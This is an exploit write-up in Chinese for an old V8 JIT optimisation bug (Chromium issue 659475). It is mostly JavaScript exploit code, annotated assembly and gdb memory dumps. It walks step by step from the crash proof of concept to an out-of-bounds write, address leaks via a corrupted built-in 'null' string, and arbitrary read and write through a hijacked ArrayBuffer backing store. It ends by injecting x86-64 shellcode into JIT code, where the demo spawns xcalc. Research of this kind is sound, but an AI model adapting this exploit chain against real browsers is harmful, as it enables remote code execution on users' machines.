https://bugs.chromium.org/p/chromium/issues/detail?id=659475
https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}
Ctor();
Check();
print("finish");
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
--- Code ---
0x35680eb86a00 0 55 push rbp
0x35680eb86a01 1 4889e5 REX.W movq rbp,rsp
0x35680eb86a04 4 56 push rsi
0x35680eb86a05 5 57 push rdi
0x35680eb86a06 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x35680eb86a0a 10 488b490f REX.W movq rcx,[rcx+0xf]
0x35680eb86a0e 14 83411b01 addl [rcx+0x1b],0x1
0x35680eb86a12 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86a19 25 7305 jnc 32 (0x35680eb86a20)
0x35680eb86a1b 27 e8c0bef5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86a20 32 48b80000000002000000 REX.W movq rax,0x200000000
0x35680eb86a2a 42 e8b1d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a2f 47 50 push rax
0x35680eb86a30 48 48b8e9c362be00370000 REX.W movq rax,0x3700be62c3e9 ;; object: 0x3700be62c3e9 <Number: 2.18788e+09>
0x35680eb86a3a 58 5a pop rdx
0x35680eb86a3b 59 48b919b062be00370000 REX.W movq rcx,0x3700be62b019 ;; object: 0x3700be62b019 <String[3]: xyz>
0x35680eb86a45 69 48bf0000000004000000 REX.W movq rdi,0x400000000
0x35680eb86a4f 79 e80cb8f0ff call 0x35680ea92260 ;; code: STORE_IC
0x35680eb86a54 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a58 88 48b80000000008000000 REX.W movq rax,0x800000000
0x35680eb86a62 98 e879d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a67 103 50 push rax
0x35680eb86a68 104 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86a72 114 4152 push r10
0x35680eb86a74 116 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86a7e 126 4152 push r10
0x35680eb86a80 128 48ba0000000006000000 REX.W movq rdx,0x600000000
0x35680eb86a8a 138 488b7c2410 REX.W movq rdi,[rsp+0x10]
0x35680eb86a8f 143 b801000000 movl rax,0x1
0x35680eb86a94 148 e8a7ddffff call 0x35680eb84840 ;; code: CALL_IC
0x35680eb86a99 153 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a9d 157 4883c408 REX.W addq rsp,0x8
0x35680eb86aa1 161 498b45a0 REX.W movq rax,[r13-0x60]
0x35680eb86aa5 165 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86aaf 175 83430bd1 addl [rbx+0xb],0xd1
0x35680eb86ab3 179 791f jns 212 (0x35680eb86ad4)
0x35680eb86ab5 181 50 push rax
0x35680eb86ab6 182 e8a5bdf5ff call InterruptCheck (0x35680eae2860) ;; code: BUILTIN
0x35680eb86abb 187 58 pop rax
0x35680eb86abc 188 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86ac6 198 49ba0000000000180000 REX.W movq r10,0x180000000000
0x35680eb86ad0 208 4c895307 REX.W movq [rbx+0x7],r10
0x35680eb86ad4 212 c9 leavel
0x35680eb86ad5 213 c20800 ret 0x8
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
--- Optimized code ---
optimization_id = 1
source_position = 50
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x35680eb86c80 0 55 push rbp
0x35680eb86c81 1 4889e5 REX.W movq rbp,rsp
0x35680eb86c84 4 56 push rsi
0x35680eb86c85 5 57 push rdi
0x35680eb86c86 6 4883ec08 REX.W subq rsp,0x8
0x35680eb86c8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x35680eb86c8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x35680eb86c92 18 488bf0 REX.W movq rsi,rax
0x35680eb86c95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86c9c 28 7305 jnc 35 (0x35680eb86ca3)
0x35680eb86c9e 30 e83dbcf5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86ca3 35 48b8c1bd62be00370000 REX.W movq rax,0x3700be62bdc1 ;; object: 0x3700be62bdc1 PropertyCell for 0x18b675545e1 <a Set with map 0xae15ff0c391>
...
gdb-peda$ job $rax
0x288d1c42b999: [PropertyCell]
- value: 0x28212078a219 <a Set with map 0x1fdb7e106509>
- details: (data, dictionary_index: 138, attrs: [WE_])
- cell_type: ConstantType (StableMap)
...
0x35680eb86cad 45 488b400f REX.W movq rax,[rax+0xf] //取出JSSet n
...
gdb-peda$ job $rax
0x28212078a219: [JSSet]
- map = 0x1fdb7e106509 [FastProperties]
- prototype = 0x288d1c415e49
- elements = 0x2089c5182241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x28212078a239 <FixedArray[13]>
- properties = {
}
...
0x35680eb86cb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x35680eb86cbb 59 c4c1f96ec2 vmovq xmm0,r10
...
0x41e04d0a5e800000 --d2ull-> 0x00000000826852f4
...
0x35680eb86cc0 64 488b4007 REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
...
0x0000393bb3086cc4 in ?? ()
gdb-peda$ job $rax
0x2089c5182241: [FixedArray]
- length: 0
gdb-peda$ x/20gx 0x28212078a219-1
0x28212078a218: 0x00001fdb7e106509 0x00002089c5182241
0x28212078a228: 0x00002089c5182241
...
0x35680eb86cc4 68 488b400f REX.W movq rax,[rax+0xf] // 取n的xyz域
// 因为当JSSet对象n进行初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象empty_fixed_array进行初始化。
// 让我们看一下empty_fixed_array
0x2089c5182240: 0x000007f3e4882309->FIXED_ARRAY_TYPE Map 0x0000000000000000
0x2089c5182250: 0x000007f3e4882361->initial_string map 0x00000000803b1506
0x2089c5182260: 0x0000000400000000 0xdeadbeed6c6c756e
...
gdb-peda$ job $rax
0x7f3e4882361: [Map]
- type: ONE_BYTE_INTERNALIZED_STRING_TYPE
- instance size: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2089c5182311 <undefined>
- instance descriptors (own) #0: 0x2089c5182231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0x2089c5182201 <null>
- constructor: 0x2089c5182201 <null>
- code cache: 0x2089c5182241 <FixedArray[0]>
- dependent code: 0x2089c5182241 <FixedArray[0]>
- construction counter: 0
...
0x35680eb86cc8 72 c5fb114007 vmovsd [rax+0x7],xmm0 //重新赋值,破坏了initial_string map的结构,于是在后面ParseInt字符串的时候会crash
...
对比一下赋值前后
前:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360: 0x000007f3e4882259 0x0019000400007300
0x7f3e4882370: 0x00000000082003ff 0x00002089c5182201
后:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360: 0x000007f3e4882259 0x41e04d0a5e800000-->破坏了map结构
0x7f3e4882370: 0x00000000082003ff 0x00002089c5182201
...
0x35680eb86ccd 77 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86cd7 87 4152 push r10
0x35680eb86cd9 89 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86ce3 99 4152 push r10
0x35680eb86ce5 101 48bf51d860be00370000 REX.W movq rdi,0x3700be60d851 ;; object: 0x3700be60d851 <JS Function parseInt (SharedFunctionInfo 0xf6ab33ce11)>
0x35680eb86cef 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0x35680eb86cf3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0x35680eb86cf7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0x35680eb86cfb 123 b801000000 movl rax,0x1
0x35680eb86d00 128 bb02000000 movl rbx,0x2
0x35680eb86d05 133 e8f6eeefff call ArgumentsAdaptorTrampoline (0x35680ea85c00) ;; code: BUILTIN
0x35680eb86d0a 138 48b8112330abf6000000 REX.W movq rax,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86d14 148 488be5 REX.W movq rsp,rbp
0x35680eb86d17 151 5d pop rbp
0x35680eb86d18 152 c20800 ret 0x8
0x35680eb86d1b 155 90 nop
据此,我们可以得出结论,在JIT优化之后,会直接从n中取出直接取出自定义属性数组中,对应于某属性偏移的字段,而不做任何合法性校验。
function Check() {
n.xyz = 3.4766863919133141e-308; // do not modify string map
n.xyz1 = 0x1821923f // do not modify hash value
n.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
}
0x1c4269306d80 0 55 push rbp
0x1c4269306d81 1 4889e5 REX.W movq rbp,rsp
0x1c4269306d84 4 56 push rsi
0x1c4269306d85 5 57 push rdi
0x1c4269306d86 6 4883ec08 REX.W subq rsp,0x8
0x1c4269306d8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x1c4269306d8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x1c4269306d92 18 488bf0 REX.W movq rsi,rax
0x1c4269306d95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x1c4269306d9c 28 7305 jnc 35 (0x1c4269306da3)
0x1c4269306d9e 30 e83dbbf5ff call StackCheck (0x1c42692628e0) ;; code: BUILTIN
0x1c4269306da3 35 48b8d9b9fadec60a0000 REX.W movq rax,0xac6defab9d9 ;; object: 0xac6defab9d9 PropertyCell for 0x3b0974d0a4b9 <a Set with map 0x30613ee86509>
0x1c4269306dad 45 488b400f REX.W movq rax,[rax+0xf] //取出JSSet n
0x1c4269306db1 49 49ba0064000004001900 REX.W movq r10,0x19000400006400
0x1c4269306dbb 59 c4c1f96ec2 vmovq xmm0,r10
0x1c4269306dc0 64 488b5807 REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dc4 68 488b5b0f REX.W movq rbx,[rbx+0xf] // 取n的xyz域,注意取域的时候,如果这个域代表的意义是一个整数值,就直接写入,如果代表的是一个指针,就要从指针再寻址写入。
0x1c4269306dc8 72 c5fb114307 vmovsd [rbx+0x7],xmm0
0x1c4269306dcd 77 488b5807 REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dd1 81 c7431b3f922118 movl [rbx+0x1b],0x1821923f // 取n的xyz1域,注意这里要用一个整形数去完整替换,不然会变成一个HeapNum指针,而这个指针是可能访问到不能访问的内存,从而crash
0x1c4269306dd8 88 488b4007 REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
0x1c4269306ddc 92 c7402300700000 movl [rax+0x23],0x7000 // 取n的xyz1域
...
最终
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309 0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1 803b1506
0x3067ec802260: 0x00007000->xyz2 00000000 0xdeadbeed6c6c756e
...
0x1c4269306de3 99 48b8112380ec67300000 REX.W movq rax,0x3067ec802311 ;; object: 0x3067ec802311 <undefined>
0x1c4269306ded 109 488be5 REX.W movq rsp,rbp
0x1c4269306df0 112 5d pop rbp
0x1c4269306df1 113 c20800 ret 0x8
0x2b753502250: 0x00003182a4182361->null 0x00000000803b1506
0x2b753502260: 0x00000004->length 00000000 0xdeadbeed 6c6c756e->"null"
0x2b753502270: 0x00003182a4182361->object 0x00000000c5f6c42a
0x2b753502280: 0x0000000600000000->length 0xdead 7463656a626f->"object"
...
gdb-peda$ job 0x2b753502251
#null
gdb-peda$ job 0x2b753502271
#object
表示JavaScript function的对象
实际演示
kCodeEntryOffset is a pointer to the JIT code (RWX area), many strategies to realize arbitrary code execution by writing shellcode before this
主要是用于double和int值的转换
// int->double
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
// double->int
// u2d(floataddr)
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}
var ab = new ArrayBuffer(0x200);
var n;
...
function Ctor() {
n = new Set();
}
function Check(obj){
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object
}
...
Ctor(); // 初始化n
Check(ab); //写入ArrayBuffer到value字段
// gdb-peda$ x/10gx 0x28767ae02240
// 0x28767ae02240: 0x0000083475082309 0x0000000000000000
// 0x28767ae02250: 0x0000083475082361 0x00000000803b1506
// 0x28767ae02260: 0x0000700000000000 0x000004ea79906839->ArrayBuffer
// 0x28767ae02270: 0x0000083475082361 0x00000000c5f6c42a
// 0x28767ae02280: 0x0000000600000000 0xdead7463656a626f
// gdb-peda$ job 0x000004ea79906839
// 0x4ea79906839: [JSArrayBuffer]
// - map = 0x3bcf5fc82db1 [FastProperties]
// - prototype = 0xb3e9b805599
// - elements = 0x28767ae02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
// - internal fields: 2
// - backing_store = 0x55ba589d0640
// - byte_length = 512
// - properties = {
// }
// - internal fields = {
// 0
// 0
// }
var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
这里为什么要这么做呢,原因其实在test里已经可以看到的,如果我们写一个smi到一个属性字段,当然可以直接写到该属性字段对应的偏移。
也就是如图xyz1,我直接写入了一个0x1821923f的smi,注意smi最大是多少呢,在64位和32位有所不同。
在64位平台上V8对smi定义的范围是[-2³¹,2³¹-1],即最大0x7fffffff,显然一个对象的地址会大于它,从而无法直接去写一个地址到该属性字段对应的偏移。
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309 0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1 803b1506
0x3067ec802260: 0x00007000->xyz2 00000000 0xdeadbeed6c6c756e
所以我们要写null string的地址到它自己的value,从而可以通过写value来再次修改null string。
Check(String(null));
// gdb-peda$ x/20gx $rbx-1
// 0x3817fa502240: 0x00003bd6a4382309 0x0000000000000000
// 0x3817fa502250: 0x00003bd6a4382361 0x00000000803b1506
// 0x3817fa502260: 0x0000700000000000 0x00003817fa502251->null string
// gdb-peda$ job 0x00003bd6a4382361
// 0x3bd6a4382361: [Map]
// - type: ONE_BYTE_INTERNALIZED_STRING_TYPE
// - instance size: 0
// - elements kind: FAST_HOLEY_ELEMENTS
// - unused property fields: 0
// - enum length: invalid
// - stable_map
// - back pointer: 0x3817fa502311 <undefined>
// - instance descriptors (own) #0: 0x3817fa502231 <FixedArray[0]>
// - layout descriptor: 0
// - prototype: 0x3817fa502201 <null>
// - constructor: 0x3817fa502201 <null>
// - code cache: 0x3817fa502241 <FixedArray[0]>
// - dependent code: 0x3817fa502241 <FixedArray[0]>
// - construction counter: 0
这里我再次提醒一下为什么要写入这个地址。
之前我们说了,如果写一个smi,可以直接写入,但是如果要写入的数值大于smi,会把该属性字段的值当成一个指针,然后将这个数值写入到那个内存里。
就比如,我向null string的map字段(对应于n.xyz)写一个非SMI进去.
double类型的3.4766863919152113e-308等于int类型的0x0019000400007300
function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}
...
...
gdb-peda$ x/20gx 0x33e606b02241-1
0x33e606b02240: 0x0000081f59a02309 0x0000000000000000
0x33e606b02250: 0x0000081f59a02361->n.xyz 0x00000000803b1506
0x33e606b02260: 0x0000700000000000 0x000017f1e8c36fe96f
gdb-peda$ x/20gx 0x0000081f59a02361-1
0x81f59a02360: 0x0000081f59a02259 0x0019000400007300->被写入的3.4766863919152113e-308即0x0019000400007300
0x81f59a02370: 0x00000000082003ff 0x000033e606b02201
var m;
...
function Ctor2() {
m = new Map();
}
function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}
Check2(ab_len_ptr_float);
// 0x3817fa502250: 0x00003bd6a4382361 0x0000108ed87359d9->ArrayBuffer length的地址
// 0x3817fa502260: 0x0000700000000000 0x00003817fa502251->null string
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0: 0x00002d714c002db1 0x000037191c982241
// 0x108ed87359d0: 0x000037191c982241 0x0000020000000000->length
// 0x108ed87359e0: 0x000055ba589d0640->BackingStore
所以说为了写入一个地址到ArrayBuffer的BackingStore,首先将BackingStore向前减去8个字节的地址即length地址写入到hash字段。
类似于我们上面写map一样,将[length_addr+0x8]即backingstore给覆盖成我们想要写入的内容。
在v8里,只要你能修改backingstore的值,就可以进行任意地址读写
于是就有了一个任意地址读写的原语。
于是我们先将func_addr写到backingstore,读到函数真正执行时候的code地址
var l;
function Ctor3() {
l = new ArrayBuffer();
}
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}
Ctor3();
Check3(func_addr_float);
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
// gdb-peda$ job 0x108ed87359c1
// 0x108ed87359c1: [JSArrayBuffer]
// - map = 0x2d714c002db1 [FastProperties]
// - prototype = 0x108ed8705599
// - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
// - internal fields: 2
// - backing_store = 0x108ed8735a00->已经被改成了Function的地址
// - byte_length = 512
// - properties = {
// }
// - internal fields = {
// 0
// 0
// }
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0: 0x00002d714c002db1 0x000037191c982241
// 0x108ed87359d0: 0x000037191c982241 0x0000020000000000
// 0x108ed87359e0: 0x0000108ed8735a00->已经被改成了Function的地址 0x0000000000000004
// 0x108ed87359f0: 0x0000000000000000 0x0000000000000000
// gdb-peda$ x/20gx 0x0000108ed8735a01-1
// 0x108ed8735a00: 0x00002d714c0040f1 0x000037191c982241
// 0x108ed8735a10: 0x000037191c982241 0x000037191c982351
// 0x108ed8735a20: 0x0000108ed872d849 0x0000108ed8703951
// 0x108ed8735a30: 0x000037191c984b21 0x000016396d105e00-->shellcode_addr_float[7]
...
// gdb-peda$ job 0x0000108ed8735a01
// 0x108ed8735a01: [Function]
// - map = 0x2d714c0040f1 [FastProperties]
// - prototype = 0x108ed87040b9
// - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
// - initial_map =
// - shared_info = 0x108ed872d849 <SharedFunctionInfo>
// - name = 0x37191c982471 <String[0]: >
// - formal_parameter_count = 0
// - context = 0x108ed8703951 <FixedArray[235]>
// - literals = 0x37191c984b21 <FixedArray[1]>
// - code = 0x16396d105da1 <Code: FUNCTION>
再将取得的函数真正执行时候执行的函数地址,写入到backingstore,从而通过它进行任意地址写,写入我们的shellcode
Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
然后再执行这个被我们改了内容的函数,就可以弹计算器了。
evil_f();
https://www.jianshu.com/p/0326d382f5f9
https://www.slideshare.net/CanSecWest/qidan-hegengming-liucansecwest2017